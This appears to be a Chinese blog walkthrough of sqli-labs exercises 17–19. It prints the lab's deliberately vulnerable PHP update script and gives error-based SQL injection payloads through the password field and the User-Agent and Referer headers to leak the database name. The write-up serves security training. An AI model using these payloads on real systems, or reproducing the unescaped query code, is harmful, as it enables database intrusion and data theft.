川普竟然当选了……
Less-17
Update
Update语句用于修改表中的数据
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
比如语句:
update users set password = 123 where username = admin
将users表用户名为admin的用户,密码改成了123
注意这里“新值”可以是逻辑运算结果
测试
输入用户名admin,新密码123,发现成功的修改了密码
输入admin’,发现不能正确修改,但也没报错,说明不存在注入
输入密码123’,发现报错,存在注入
PHP
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); # check_input函数对输入值做了严格的注入防护 function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { //making sure uname is not injectable # 此处保证了只有passwd这个字段可以注入 $uname=check_input($_POST['uname']); $passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname."\n"); fwrite($fp,'New Password:'.$passwd."\n"); fclose($fp); // connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>"; if (mysql_error()) { echo '<font color= "#FFFF00" font size = 3 >'; print_r(mysql_error()); echo "</br></br>"; echo "</font>"; } else { echo '<font color= "#FFFF00" font size = 3 >'; //echo " You password has been successfully updated " ; echo "<br>"; echo "</font>"; } echo '<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="4.5" color="#FFFF00">'; //echo "Bug off you Silly Dumb hacker"; echo "</br>"; echo '<img src="../images/slap1.jpg" />'; echo "</font>"; } } ?>
// 输入字符不能注入 uname=admin&passwd=ad' and (select 1 from (select count(*),(concat("~",database(),"~", floor(rand(0)*2)))name from information_schema.tables group by name)b) # &submit=Submit
// 输入数字才能注入 uname=admin&passwd=123' and (select 1 from (select count(*),(concat("~",database(),"~", floor(rand(0)*2)))name from information_schema.tables group by name)b) # &submit=Submit
Less-18
Less-18是HTTP Header注入,在这里可以用账号admin密码admin登入,由于之前有题目是更改这个密码的,如果提示密码错误请重置数据库。
测试过程
用任意账号密码登陆发现不能登陆,也没有其他信息
用正确的用户密码admin,admin登陆,发现登陆后返回了IP地址和Referer头信息
抓包后在User-Agent字段中插入单引号发现报错,在各个位置插入单引号,大概能拼接出他的语句应该是 INSERT INTO tables (“User-Agent”, “IP”, “User name”)
Insert
用于向表中插入新的行
INSERT INTO 表名 VALUES(value1, value2, …)
比如:INSERT INTO User VALUES(“Tom”, “12”)
VALUES 中插入的值也可以是逻辑运算的结果
Payload
于是我们想办法构造这个语句,从中间截断闭合。由于能够进行逻辑运算,我们可以采用报错注入的方法去获取需要的信息。
Referer: 1',1,(select 1 from (select count(*),(concat("~",database(),"~",floor(rand(0)*2)))name from information_schema.tables group by name)b))#
Less-19
Less-19是在Referer位置进行注入,同样属于Header注入,道理类似。
测试
发现在正确登陆后会显示Referer的信息,抓包后进行分析,在Referer那一行插入一个引号,发现报错。
然而需要注意的是,报错并不会把所有信息都显示给你,我们在Referer信息之前插入引号与在Referer信息之后插入引号报错信息不同,根据两部分信息能够拼接和猜测出真正的后台语句是
INSERT INTO table VALUE(‘Referer’,’IP’);
Referer:1', (select 1 from (select count(*),(concat("~",database(),"~", floor(rand(0)*2)))name from information_schema.tables group by name)b)) #